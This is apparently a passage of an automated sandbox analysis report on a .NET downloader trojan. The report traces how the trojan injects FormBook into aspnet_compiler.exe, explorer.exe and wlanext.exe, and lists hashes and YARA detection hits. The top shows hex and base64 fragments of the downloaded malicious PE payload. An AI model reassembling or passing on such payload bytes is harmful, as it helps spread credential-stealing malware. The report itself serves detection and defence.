2022-10-11 03:55:40 UTC	248	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 41 4f 64 52 47 4d 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 51 59 41 41 45 77 41 41 41 42 51 41 41 41 41 41 41 41 41 34 6d 73 41 41 41 41 67 41 41 41 41 67 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAOdRGMAAAAAAAAAAOAADiELAQYAAEwAAABQAAAAAAAA4msAAAAgAAAAgAAAAABAAAAgAAAAAgA
2022-10-11 03:55:40 UTC	264	IN	Data Raw: 41 51 48 4b 46 4b 55 44 41 51 48 39 46 4a 59 44 30 51 45 4b 46 62 49 44 30 51 45 53 46 62 63 44 30 51 46 5a 46 4c 30 44 41 51 45 63 46 63 34 44 30 51 45 31 46 64 4d 44 36 51 46 42 46 65 51 44 57 51 48 6b 42 2b 6f 44 61 51 42 4f 46 66 63 44 59 51 44 6b 42 34 4d 41 63 51 42 62 46 51 73 45 32 51 46 73 46 52 45 45 32 51 46 31 46 52 63 45 49 51 42 2f 46 52 38 45 49 51 43 48 46 53 59 45 49 51 43 51 46 53 30 45 30 51 47 5a 46 5a 34 41 32 51 47 66 46 52 45 45 30 51 47 72 46 54 30 45 36 51 44 6b 42 79 38 43 30 51 45 4b 46 55 30 45 30 51 47 79 46 56 49 45 79 51 43 38 46 56 63 45 49 51 42 48 46 46 34 45 45 51 44 43 46 57 51 45 34 51 48 4b 46 58 6b 41 34 51 48 51 46 58 6b 41 38 51 44 56 46 61 41 45 71 51 48 6b 42 34 4d 41 38 51 44 65 46 61 51 45 75 51 48 6a 46 61 77 Data Ascii: AQHKFKUDAQH9FJYD0QEKFbID0QESFbcD0QFZFL0DAQEcFc4D0QE1FdMD6QFBFeQDWQHkB+oDaQBOFfcDYQDkB4MAcQBbFQsE2QFsFREE2QF1FRcEIQB/FR8EIQCHFSYEIQCQFS0E0QGZFZ4A2QGfFREE0QGrFT0E6QDkBy8C0QEKFU0E0QGyFVIEyQC8FVcEIQBHFF4EEQDCFWQE4QHKFXkA4QHQFXkA8QDVFaAEqQHkB4MA8QDeFaQEuQHjFaw

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exePID: 5148, Parent PID: 3528

General

Target ID:	0
Start time:	05:55:37
Start date:	11/10/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Imagebase:	0x150000
File size:	74592 bytes
MD5 hash:	3E26DD2EF6DC0BE5838E1EAC6B668846
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: aspnet_compiler.exePID: 5020, Parent PID: 5148

General

Target ID:	1
Start time:	05:55:40
Start date:	11/10/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Imagebase:	0x760000
File size:	55400 bytes
MD5 hash:	17CC69238395DF61AAF483BCEF02E7C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.399924782.0000000000D00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 5020

General

Target ID:	2
Start time:	05:55:42
Start date:	11/10/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: wlanext.exePID: 644, Parent PID: 3528

General

Target ID:	3
Start time:	05:56:19
Start date:	11/10/2022
Path:	C:\Windows\SysWOW64\wlanext.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wlanext.exe
Imagebase:	0x1040000
File size:	78848 bytes
MD5 hash:	CD1ED9A48316D58513D8ECB2D55B5C04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate